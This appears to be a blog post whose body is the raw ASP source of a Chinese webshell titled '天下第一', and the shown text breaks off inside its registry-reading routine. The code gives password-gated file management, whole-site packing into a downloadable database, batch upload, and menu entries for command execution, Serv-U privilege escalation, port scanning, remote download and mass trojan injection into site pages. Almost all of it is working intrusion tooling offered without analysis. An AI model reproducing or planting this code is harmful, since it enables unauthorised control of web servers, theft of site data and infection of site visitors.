123123123123

最新推荐文章于 2022-04-18 16:48:00 发布

Mepexuan

最新推荐文章于 2022-04-18 16:48:00 发布

阅读量1.4k

点赞数

文章标签： javascript input path function action border

本文链接：https://blog.csdn.net/Mepexuan/article/details/4686363

版权

<%
Server.ScriptTimeout=999998888
Response.Buffer =true
On Error Resume Next

dim URL,ServerIP,RootPath,WWWPath,Action,PacketName,RefreshBack,BackUrl,kge
URL  = Request.ServerVariables("URL")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
RootPath = server.MapPath(".")
WWWRoot  = Server.MapPath("/")
action  = Request("action")
FolderPath = Request("FolderPath")
FName  = Request("FName")
kge="<br><br><br><br><br><br><br><br>"
RefreshBack = "<meta http-equiv='refresh' content = '2; URL=?Action=Show1File' >"
dim UserPass,SFlag,ImgExt',TxtExt,isDebugMode
ShellName ="天下第一"
UserPass = "123456"
Copyright =""
SFlag  = "test"
isDebugMode = False
'ImgExt  = "$gif$jpg$bmp$"
'TxtExt  = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"

rem ==============================================
'通用函数部分
rem ==============================================

'echo函数
Sub echo(str)
response.Write(str)
End Sub

'错误显示
Sub ShowErr()
If Err Then
    echo"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
    Err.Clear
Response.Flush
End If
End Sub

Sub ShowErr2(str)
  Dim i, arrayStr
  str = Server.HtmlEncode(str)
  arrayStr = Split(str, "$$")

  echo "<font size=2>"
  echo "出错信息:<br/><br/>"
  For i = 0 To UBound(arrayStr)
   echo "  " & (i + 1) & ". " & arrayStr(i) & "<br/>"
  Next
  echo "</font>"

Response.End()
End Sub

'超时检测
Sub check()
If Session("UserPass") <> UserPass Then
echo "<script>alert('不是自己的女人别乱搞哦……');</script>"
' call logout()
End If
End Sub

'路径替换
Function RePath(S)
RePath=Replace(S,"/","//")
End Function

Function RRePath(S)
RRePath=Replace(S,"//","/")
End Function

'iif函数
Function IIf(var, val1, val2)
If var = True Then
  IIf = val1
Else
  IIf = val2
End If
End Function
'文件大小
Function GetTheSize(num)
  Dim i, arySize(4)
  arySize(0) = "B"
  arySize(1) = "K"
  arySize(2) = "M"
  arySize(3) = "G"
  arySize(4) = "T"
  While(num / 1024 >= 1)
   num = Fix(num / 1024 * 100) / 100
   i = i + 1
  WEnd
  GetTheSize = num & " " & arySize(i)
End Function

'htnl编码转换
Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function

'SessionFoldetSet session文件夹设置
'Sub SFset()
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
'End Sub

'添加菜单
'function Menuadd(style,dir,href,menu,ico)
function menuadd(target,href,txt,color,siz,ico)  'target提交的目标，dir目录，href连接，txt显示，color图标颜色，siz图标大小，ico图标代码
if siz=0 then
  siz=""
else
  siz=" size='"&Siz&"'"
end if
if color="" then color="70B7FE"
if ico="" then ico="l"
  echo "<tr><td height='22'><a href='"&href&"' target='"&target&"'><FONT face=Wingdings color='#"&Color&"' "&siz&">"&ico&"</FONT>"&txt&"</a></td></tr>"
End function
'图标
function icon(Color,Siz,Var)
if Siz=0 then
siz=""
else
siz=" size='"&Siz&"'"
end if
icon="<FONT face=Webdings color='#"&Color&"' "&Siz&">"&Var&"</FONT>"
End function

'getpost
Function GetPost(var)
  Dim val
  If Request.QueryString("PageName") = "PageUpload" Then
   pageName = "PageUpload"
   Exit Function
  End If
  val = RTrim(Request.Form(var))
  If val = "" Then
   val = RTrim(Request.QueryString(var))
  End If
  GetPost = val
End Function

'下载文件
Function DownFile(Path)
Response.Clear
Set OSM = CreateObject("Adodb.Stream")
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"/")+1
    Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
    Response.Charset = "UTF-8"
    Response.ContentType = "application/octet-stream"
    Response.BinaryWrite OSM.Read
    Response.Flush
OSM.Close
Set OSM = Nothing
End Function

' AlertThenClose
Sub AlertThenClose(str)
  If str = "" Then
   Response.Write "<script>window.close();</script>"
   Else
   Response.Write "<script>alert(""" & str & """);window.close();</script>"
  End If
End Sub

Dim ObT(13,2)
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,2) = "文件操作组件"
ObT(1,0) = "wscript.shell"
ObT(1,2) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS压缩组件"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,2) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "数据库连接组件"
ObT(6,0) = "Adodb.Stream"
ObT(6,2) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "数据传输组件"
For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
   IsObj=" √"
Else
   IsObj=" ×"
   Err.Clear
End If
Set T=Nothing
ObT(i,1)=IsObj
Next

rem =============================================
'功能实现函数部分
rem =============================================

'样式
sub css()
echo"<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">"
echo"<title>"&ShellName&" - "&ServerIP&" </title>"
echo"<style type=""text/css"">"
echo"body,td{font-size: 12px;background-color:#000000;;color:#dddddd;}"
echo"input,select,textarea{font-size: 12px;background-color:#dddddd;color:#000000; border:1px solid #B7CDFC}"
echo".C{background-color:#003300;border:1px}"
echo".cmd{background-color:#E7E7E7;color:#666666}"
echo"body{margin: 0px;margin-left:4px;}"
echo"BODY {SCROLLBAR-FACE-COLOR: #C2D3FC; SCROLLBAR-HIGHLIGHT-COLOR: #fff; SCROLLBAR-SHADOW-COLOR: #C2D3FC; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #D4D4D4; SCROLLBAR-ARROW-COLOR: #FFFFFF; SCROLLBAR-TRACK-COLOR: #F0F0F0; SCROLLBAR-DARKSHADOW-COLOR: #F0F0F0}"
echo"a{color:#dddddd;text-decoration: none;}a:hover{color:#C60000;background:#000000}"
echo".am{color:#666666;font-size:12px;}"
echo"</style>"
end sub

'相关jiavascript
echo"<script language=""javascript"">"& vbcrlf
echo"" & vbcrlf
echo"</script>"
echo"</head>"

'登陆判断
sub login()
If Session("UserPass") <> UserPass Then
If Request.Form("Pass") <> "" Then
    If Request.Form("Pass") = UserPass Then
      Session("UserPass") = UserPass
      Response.Redirect URL
    Else
echo"<br><br><br><br><br><br><br><br><center>不是自己的女人别乱搞哦！</center>"
End If
Else
echo"<br><br><br><br><br><br><br><br><FORM Action='"&URL&"' method=Post>"
echo"<TABLE align=center cellpadding=0 cellspacing=0 width=250 border=0 bgcolor=#003300<TR bgcolor=#d8f99b>"
echo"<TD>Pass：<INPUT type=Password name=Pass size=30> <input type=submit value=Login></TD></TR>"
echo"<tr align='center'><td>"&Copyright&"</tr></td></TABLE></FORM>"

End If
Response.End
End If
end sub

'退出登陆
sub logout()
Session.Contents.Remove("UserPass")
Response.Redirect URL
end sub

'主窗口
Function MainForm()
echo"<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">"
echo"<input type=""hidden"" name=""Action"">"
echo"<input type=""hidden"" name=""FName"">"
echo"</form>"
echo"<table width='100%' height='100%' border=0 cellpadding='0' cellspacing='0'>"
echo"<tr><td height='30' colspan='2'>"
echo"<table width='100%'>"
echo"<form name='addrform' method='post' action='"&URL&"' target='_parent'>"
echo"<tr><td width='60' align='center'>地址栏：</td><td>"
echo"<input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>"
echo"</td><td width='140' align='center'><input name='Submit' type='submit' value='去吧'> <input type='submit' value='刷新主窗口' οnclick='FileFrame.location.reload()'>"
echo" <tr align='center' valign='middle'>"
echo"<tr>提权目录 →『<a href='javascript:ShowFolder(""C://Progra~1"")'>程序</a>』『<a href='javascript:ShowFolder(""C://Docume~1"")'>C://Docume~1</a>』『<a href='javascript:ShowFolder(""C://Documents and Settings//All Users//Application Data//Symantec//pcAnywhere"")'>Pcanywhere</a>』『<a href='javascript:ShowFolder(""C://Program Files//Serv-U"")'>Serv-U(1)</a>』『<a href='javascript:ShowFolder(""C://Program Files//RhinoSoft.com"")'>Serv-U(2)</a>』『<a href='javascript:ShowFolder(""C://Documents and Settings//All Users//「开始」菜单//程序"")'>开始程序</a>』『<a href='javascript:ShowFolder(""C://Documents and Settings//All Users//Documents"")'>Erveryone</a>』『<a href='javascript:ShowFolder(""c://mysql"")'>Mysql</a>』『<a href='javascript:ShowFolder(""C://RECYCLER"")'>RECYCLER</a>』『<a href='javascript:ShowFolder(""c://inetpub//wwwroot"")'>inetpub</a>』『<a href='javascript:ShowFolder(""C://windows//temp"")'>temp</a>』</td><td>"
echo"</td></tr></form></table></center></td></tr><tr><td width='16%'>"
echo"<iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='0'></iframe></td>"
echo"<td width='88%'>"
echo"<iframe name='FileFrame' src='?Action=Show1File' width='100%' height='100%' frameborder='1'></iframe>"
echo"</td></tr></table>"
End Function

'菜单
Function MainMenu()
echo"<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#d8f99b'>"
If ObT(0,1)=" ×" Then
echo"<tr><td height='24'><hr color='#91d70d'>人品出问题了！</td></tr>"
Else
echo "<tr><td height='10'>"&icon("70B7FE",6,"Ì")&"<font color=#0EE0F3>文件管理</font></td></tr><tr><td>"
'echo"<tr><td align='center'>"
Set ABC=New LBF:echo ABC.ShowDriver():Set ABC=Nothing:echo "</td></tr>"
menuadd "","javascript:ShowFolder("""&RePath(WWWRoot)&""")","站点根目录","",2,""
menuadd "","javascript:ShowFolder("""&RePath(RootPath)&""")","本程序目录","",2,""
menuadd "FileFrame","?Action=EditFile","新建文本","",4,"2"
menuadd "","javascript:FullForm("""&RePath(Session("FolderPath")&"/NewFolder")&""",""NewFolder"")","新建目录","",2,"1"
menuadd "FileFrame","?Action=PageAddToMdb","打包解包","",2,""
menuadd "FileFrame","?Action=plupfile","批量上传","",2,"é"
echo "<tr><td height='22'>"&icon("70B7FE",6,"O")&"<font color=#0EE0F3>信息收集</font></td></tr>"
menuadd "FileFrame","?Action=ReadREG","注册表读取","",2,"k"
menuadd "FileFrame","?Action=ScanPort","端口扫描","",2,"]"
menuadd "FileFrame","?Action=ServerInfo","组件信息","",2,"z"
menuadd "FileFrame","?Action=Course","用户查询","",2,"a"
menuadd "FileFrame","?Action=GetTeRmiNAlINfo","自动登陆","",2,"ÿ"
echo "<tr><td height='22'>"&icon("70B7FE",6,"Ó")&"<font color=#0EE0F3>提升权限</font></td></tr>"
menuadd "FileFrame","?Action=Servu","Serv-u提权","",2,"Â"
menuadd "FileFrame","?action=Cmd1Shell","执行cmd命令","",2,"þ"
menuadd "FileFrame","?action=sqlcmd","执行sqlcmd","",2,"þ"
menuadd "FileFrame","?action=wmi","wmi远程命令","",2,"þ"
menuadd "FileFrame","?action=lp","蓝屏大叔0day","",2,"W"
menuadd "FileFrame","?action=remotedown","远程下载","",2,"l"
echo "<tr><td height='22'>"&icon("70B7FE",6,"²")&"<font color=#0EE0F3>修改文件</font></td></tr>"
menuadd "FileFrame","?Action=findmuma","木马搜索","",2,"M"
menuadd "FileFrame","?Action=Cplgm&M=1","批量挂马","",2,"M"
menuadd "FileFrame","?Action=Cplgm&M=2","批量清马","",2,"M"
menuadd "FileFrame","?Action=Cplgm&M=3","批量替换","",2,"M"
menuadd "FileFrame","?action=Cplgm&M=4","指定挂马","",2,"M"
menuadd "FileFrame","?action=DbManager","数据库操作","",2,"F"
menuadd "","javascript:FullForm("""&RePath(Session("FolderPath")&"/New.mdb")&""",""CreateMdb"")","新建mdb数据库","",2,"Ó"
end if
menuadd "_top","?Action=Logout","退出登陆","",2,"ý"

'menuadd "","javascript:FullForm("""&RePath(Session("FolderPath")&"/data.mdb")&""",""CompactMdb"")","压缩mdb数据库","",2,"Ô"
End Function

'文件管理类
Class LBF
Dim CF

Private Sub Class_Initialize
SET CF=CreateObject("Scripting.FileSystemObject")
End Sub

Private Sub Class_Terminate
Set CF=Nothing
End Sub

Function ShowDriver()
For Each D in CF.Drives
echo"   <a href='javascript:ShowFolder("""&D.DriveLetter&"://"")'>本地磁盘 ("&D.DriveLetter&":)</a><br>"
Next
End Function

Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
echo"<table width='100%' border='0' cellspacing='0' cellpadding='0'><tr>"
For Each F in FOLD.subfolders
echo"<td height=10>"
echo"<a href='javascript:ShowFolder("""&RePath(Path&"/"&F.Name)&""")' title='点击打开'><font face='wingdings'size='4'>0</font>"&F.Name&"</a>"   '显示文件夹名称
echo" _<a href='javascript:FullForm("""&RePath(Path&"/"&F.Name)&""",""CopyFolder"")' οnclick='return yesok()' class='am' title='复制'>复制</a>"  '复制
echo" <a href='javascript:FullForm("""&Replace(Path&"/"&F.Name,"/","//")&""",""DelFolder"")' οnclick='return yesok()' class='am' title='删除'>删除</a>"  '删除
echo" <a href='javascript:FullForm("""&RePath(Path&"/"&F.Name)&""",""MoveFolder"")' οnclick='return yesok()' class='am' title='移动'>移动</a>"  '移动
echo" <a href='javascript:FullForm("""&RePath(Path&"/"&F.Name)&""",""DownFile"")' οnclick='return yesok()' class='am' title='下载'>下载</a></td>" '下载
i=i+1
If i mod 3 = 0 then echo"</tr><tr>"
Next
echo"</tr><tr><td height=2></td></tr></table>"
echo"<hr noshade color=""#CCCCCC""ze=1 color=""#"" />"
For Each L in Fold.files
echo"<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
echo"<tr style='boungroup-color:#'>"
echo"<td height='30'><a href='javascript:FullForm("""&RePath(Path&"/"&L.Name)&""",""DownFile"");' title=""点击下载"&chr(13)&"文件名: "&L.Name&chr(13)&"大小："&GetTheSize(L.size)&chr(13)&"类型: "&L.type&chr(13)&"属性: "&L.Attributes&chr(13)&"创建时间: "&L.DateCreated&chr(13)&"修改时间: "&L.DateLastModified&"""><font face='wingdings'size='3'>2</font>"&L.Name&"</a></td>"
echo"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"/"&L.Name)&""",""EditFile"")' class='am' title='编辑'>编辑</a></td>"
echo"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"/"&L.Name)&""",""DelFile"")' οnclick='return yesok()' class='am' title='删除'>删除</a></td>"
echo"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"/"&L.Name)&""",""CopyFile"")' class='am' title='复制'>复制</a></td>"
echo"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"/"&L.Name)&""",""MoveFile"")' class='am' title='移动'>移动</a></td>"
echo"<td width='50' align=""center"">"&GetTheSize(L.size)&"</td>"
echo"<td width='200' align=""center"">"&L.Type&"</td>"
echo"<td width='160'>"&L.DateLastModified&"</td>"
echo"</tr></table>"
Next
Set FOLD=Nothing
End function

Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
echo"<center><br><br><br>恭喜倒爷文件 "&Path&" 删除成功！</center>"
echo RefreshBack

End If
End Function

Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
echo"<center><br><br><br>恭喜倒爷文件保存成功！</center>"
echo RefreshBack

Response.End
End If

If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"/test.asp":Txt=""
End If

echo"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'>"
echo"<input name='Action' value='EditFile' Type='hidden'>"
echo"<input name='FName' value='"&Path&"' style='width:100%'><br>"
echo"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>"
echo"<hr><input name='goback' type='button' value='返回' οnclick='history.back();'>   <input name='reset' type='reset' value='重置'>   <input name='submit' type='submit' value='保存'></form>"

End Function

Function CopyFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
echo"<center><br><br><br>恭喜倒爷文件"&Path(0)&"复制成功！</center>"
echo RefreshBack

End If
End Function

Function MoveFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
echo"<center><br><br><br>文件"&Path(0)&"移动成功！</center>"
echo RefreshBack

End If
End Function

Function DelFolder(Path)
If CF.FolderExists(Path) Then
CF.DeleteFolder Path
echo"<center><br><br><br>目录"&Path&"删除成功！</center>"
echo RefreshBack

End If

End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")

If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
echo"<center><br><br><br>目录"&Path(0)&"复制成功！</center>"
echo RefreshBack

End If
End Function

Function MoveFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
echo"<center><br><br><br>目录"&Path(0)&"移动成功！</center>"
echo RefreshBack

End If
End Function

Function NewFolder(Path)
If Not CF.FolderExists(Path) and Path<>"" Then
CF.CreateFolder Path
echo"<center><br><br><br>目录"&Path&"新建成功！</center>"
echo RefreshBack

End If
End Function

End Class

'打包解包
Sub PageAddToMdb()
  Dim theAct, thePath
  theAct = Request("theAct")
  thePath = Request("thePath")
  Server.ScriptTimeOut = 5000

  If theAct = "addToMdb" Then
   addToMdb(thePath)
  echo "<div align=center><br>操作完成!</div>"
  echo"<hr><center><a href=""hytop.mdb"">文件下载</a></center>"
  echo"<br/><center><a href='javascript:history.back()'>返回</a></center>"
  Response.End
  End If
  If theAct = "releaseFromMdb" Then
   unPack(thePath)
   echo"操作完成!"
   echo"<br/><center><a href='javascript:history.back()'>返回</a></center>"
   Response.End
  End If

  echo "文件夹打包:"
  echo "<form method=post>"
  echo "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80>"
  echo "<input type=hidden value=addToMdb name=theAct>"
  echo "<select name=theMethod><option value=fso>FSO</option><option value=app>无FSO</option></select>"
  echo " <input type=submit value='打包'>"
  echo "<hr/>注: 打包生成HYTop.mdb文件,位于木马同级目录下"
  echo "</form>"

  echo "<hr/>文件包解开(需FSO支持):<br/>"
  echo "<form method=post>"
  echo "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & "/HYTop.mdb"" size=80>"
  echo "<input type=hidden value=releaseFromMdb name=theAct> <input type=submit value='解包'>"
  echo "<hr/>注: 解开来的所有文件都位于木马同级目录下"
  echo "</form>"
End Sub

Sub addToMdb(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim rs, conn, stream, connStr, adoCatalog
  Set rs = Server.CreateObject("ADODB.RecordSet")
  Set stream = Server.CreateObject("ADODB.Stream")
  Set conn = Server.CreateObject("ADODB.Connection")
  Set adoCatalog = Server.CreateObject("ADOX.Catalog")
  connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HYTop.mdb")

  adoCatalog.Create connStr
  conn.Open connStr
  conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")

  stream.Open
  stream.Type = 1
  rs.Open "FileData", conn, 3, 3

  If Request("theMethod") = "fso" Then
   fsoTreeForMdb thePath, rs, stream
   Else
   saTreeForMdb thePath, rs, stream
  End If

  rs.Close
  Conn.Close
  stream.Close
  Set rs = Nothing
  Set conn = Nothing
  Set stream = Nothing
  Set adoCatalog = Nothing
End Sub

Function fsoTreeForMdb(thePath, rs, stream)
  Dim item, theFolder, folders, files, sysFileList
  sysFileList = "$HYTop.mdb$HYTop.ldb$"
If Server.CreateObject("Scripting.FileSystemObject").FolderExists(thePath) = False Then
   showErr(thePath & " 目录不存在或者不允许访问!")
  End If
Set theFolder = Server.CreateObject("Scripting.FileSystemObject").GetFolder(thePath)
  Set files = theFolder.Files
  Set folders = theFolder.SubFolders

  For Each item In folders
   fsoTreeForMdb item.Path, rs, stream
  Next

  For Each item In files
   If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
    rs.AddNew
    rs("thePath") = Mid(item.Path, 4)
    stream.LoadFromFile(item.Path)
    rs("fileContent") = stream.Read()
    rs.Update
   End If
  Next

  Set files = Nothing
  Set folders = Nothing
  Set theFolder = Nothing
End Function

Sub unPack(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Server.ScriptTimeOut = 5000
  Dim rs, ws, str, conn, stream, connStr, theFolder
  str = Server.MapPath(".") & "/"
  Set rs = CreateObject("ADODB.RecordSet")
  Set stream = CreateObject("ADODB.Stream")
  Set conn = CreateObject("ADODB.Connection")
  connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";"

  conn.Open connStr
  rs.Open "FileData", conn, 1, 1
  stream.Open
  stream.Type = 1

  Do Until rs.Eof
   theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "/"))
   If fsoX.FolderExists(str & theFolder) = False Then
    createFolder(str & theFolder)
   End If
   stream.SetEos()
   stream.Write rs("fileContent")
   stream.SaveToFile str & rs("thePath"), 2
   rs.MoveNext
  Loop

  rs.Close
  conn.Close
  stream.Close
  Set ws = Nothing
  Set rs = Nothing
  Set stream = Nothing
  Set conn = Nothing
End Sub

Sub createFolder(thePath)
  Dim i
  i = Instr(thePath, "/")
  Do While i > 0
  If Server.CreateObject("Scripting.FileSystemObject").FolderExists(Left(thePath, i)) = False Then
   Server.CreateObject("Scripting.FileSystemObject").CreateFolder(Left(thePath, i - 1))
   End If
   If InStr(Mid(thePath, i + 1), "/") Then
    i = i + Instr(Mid(thePath, i + 1), "/")
    Else
    i = 0
   End If
  Loop
End Sub

Sub saTreeForMdb(thePath, rs, stream)
  Dim item, theFolder, sysFileList
  sysFileList = "$HYTop.mdb$HYTop.ldb$"
  Set theFolder = saX.NameSpace(thePath)

  For Each item In theFolder.Items
   If item.IsFolder = True Then
    saTreeForMdb item.Path, rs, stream
    Else
    If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
     rs.AddNew
     rs("thePath") = Mid(item.Path, 4)
     stream.LoadFromFile(item.Path)
     rs("fileContent") = stream.Read()
     rs.Update
    End If
   End If
  Next

Set theFolder = Nothing
End Sub

'批量上传
Sub PageUpload()
theAct = Request.QueryString("theAct")
If theAct = "upload" Then
  StreamUpload()
  echo "<script>alert('恭喜倒爷文件成功上传!');history.back();</script>"
End If
ShowUpload()
End Sub
Sub PageUpload()
  theAct = Request.QueryString("theAct")
  If theAct = "upload" Then
   StreamUpload()
   echo "<script>alert('恭喜倒爷文件成功上传!');history.back();</script>"
  End If
  ShowUpload()
End Sub
Sub ShowUpload()
call Css()
  If thePath = "" Then thePath = "/"
  echo kge
  echo "<form method=post οnsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?Action=plupfile&theAct=upload><TABLE width='70%' border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#666666 ><tr><td colspan=2>批量文件上传</td></tr><tr><td width='14%'> 传至服务器已有虚拟目录:</td><td width='40%'> <input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=30><input type=checkbox name=overWrite checked=""checked""> 覆盖模式(只输入子目录，不含文件名)"
  echo "</td></tr><tr><td valign=top> 选择上传文件数量: <br>上传绝对路径：</td><td> <input id=fileCount size=6 value=1> <input type=button value=设定 οnclick=makeFile(fileCount.value)> （注意：上传文件名和本地文件名相同）<div id=fileUpload> <input name=file1 type=file size=30></div></td></tr><tr><td align=center colspan=2><input type=submit name=Submit value=上传 οnclick=this.form.action+='&overWrite='+this.form.overWrite.checked;><input type=reset value=重置><input type=button value=关闭 οnclick=window.close();></td></tr></table></form>"
  echo "<script language=javascript>" & vbCrLf
  echo "function makeFile(n){" & vbCrLf
  echo " fileUpload.innerHTML = ' <input name=file1 type=file size=30>'" & vbCrLf
  echo " for(var i=2; i<=n; i++)" & vbCrLf
  echo "fileUpload.innerHTML += '<br/> <input name=file' + i + ' type=file size=30>';" & vbCrLf
  echo "}" & vbCrLf
  echo "</script>"
End Sub
  Sub StreamUpload()
  Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
  Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
  Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
  If isDebugMode = False Then On Error Resume Next
  Server.ScriptTimeOut = 5000
  newLine = ChrB(13) & ChrB(10)
  overWrite = Request.QueryString("overWrite")
  overWrite = IIf(overWrite = "true", "2", "1")
  Set sA = Server.CreateObject("Adodb.Stream")
  Set sB = Server.CreateObject("Adodb.Stream")
  sA.Type = 1
  sA.Mode = 3
  sA.Open
  sA.Write Request.BinaryRead(Request.TotalBytes)
  sA.Position = 0
  theForm = sA.Read()
sA.SaveToFile "c:/001.txt", 2 ''保存到临时文件进行查看
  itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
  totalLen = LenB(theForm)
  itemDivLen = LenB(itemDiv)
  intStart = itemDivLen + 2
  intUpLen = 0 '上面数据的长度
  Do
   intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车)
   intDataLen = intDataLen - intUpLen
   intEnd = intStart + intDataLen
   intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1
   sB.Type = 1
   sB.Mode = 3
   sB.Open
   sA.Position = intStart
   sA.CopyTo sB, intInfoEnd - intStart
   sB.Position = 0
   sB.Type = 2
   sB.CharSet = "GB2312"
   strInfo = sB.ReadText()
   strFileName = ""
   intFindStart = InStr(strInfo, "name=""") + 6
   intFindEnd = InStr(intFindStart, strInfo, """", 1)
   strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
   If InStr(strInfo, "filename=""") > 0 Then
    intFindStart = InStr(strInfo, "filename=""") + 10
    intFindEnd = InStr(intFindStart, strInfo, """", 1)
    strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
    strFileName = Mid(strFileName, InStrRev(strFileName, "/") + 1)
   End If
   sB.Close
   sB.Type = 1
   sB.Mode = 3
   sB.Open
   sA.Position = intInfoEnd + 4
   sA.CopyTo sB, intEnd - intInfoEnd - 4
   If strFileName <> "" Then
    sB.SaveToFile strPath & strFileName, overWrite
    ChkErr(Err)
    Else
    If strName = "thePath" Then
     sB.Position = 0
     sB.Type = 2
     sB.CharSet = "GB2312"
     strInfo = sB.ReadText()
     thePath = strInfo
     If Mid(thePath, 2, 1) = ":" Then
      AlertThenClose("对不起,上传只能使用虚拟路径!"):echo"<script>history.back();</script>"
     End If
     strPath = Server.MapPath(strInfo) & "/"
    End If
   End If
   sB.Close
   intUpLen = intStart + intDataLen + 2
   intStart = intUpLen + itemDivLen + 2
  Loop Until (intStart + 2) = totalLen
  sA.Close
  Set sA = Nothing
  Set sB = Nothing
End Sub

'单个文件上传
Function UpFile():If Request("Act2")="Post" Then
Set U=new UPC
Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="恭喜倒爷文件"&UName&"上传成功！"
End if
End If
Set F=nothing
Set U=nothing
SI=SI&BackUrl
Response.Write SI
ShowErr()
Response.End
End If
SI="<table align='center'><form name='UpForm' method='post' action='"&URL&"?Act=UpFile&Act2=Post' enctype='multipart/form-data'><tr><td>上传路径：<input name='ToPath' value='"&RRePath(Session("FolderPath")&"/newup.asp")&"' size='40'> <input name='LocalFile' type='file' size='25'><input type='submit' name='Submit' value='上传'></td></tr></form></table>"
Response.Write SI
End Function

Sub Message(state,msg,flag)
Response.Write "<TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#fff>"
Response.Write " <TR>"
Response.Write "    <TD >系统信息</TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write "    <TD align=middle bgcolor=#ecfccd>"
Response.Write "   <TABLE width=82% border=0 cellpadding=5 cellspacing=0>"
Response.Write "     <TR>"
Response.Write "    <TD><FONT color=red>"
Response.Write state
Response.Write "</FONT></TD>"
Response.Write "  <TR>"
Response.Write "    <TD><P>"
Response.Write msg
Response.Write "</P></TD>"
Response.Write "  </TR>"
Response.Write "   </TABLE>"
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write "    <TD class=TBEnd>"
Response.Write " "
If flag=0 Then
Response.Write "       <INPUT type=button value=关闭 οnclick=""window.close();"">"
Response.Write " "
Else
Response.Write "       <INPUT type=button value=返回 onClick=""history.go(-1);"">"
Response.Write " "
End if
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write "</TABLE>"
End Sub
Function Red(str)
    Red = "<FONT color=#ff2222>" & str & "</FONT>"
End Function

'读取注册表
Sub ReadReg()
echo"注册表键值读取:<hr/>"
echo"<form method=post>"
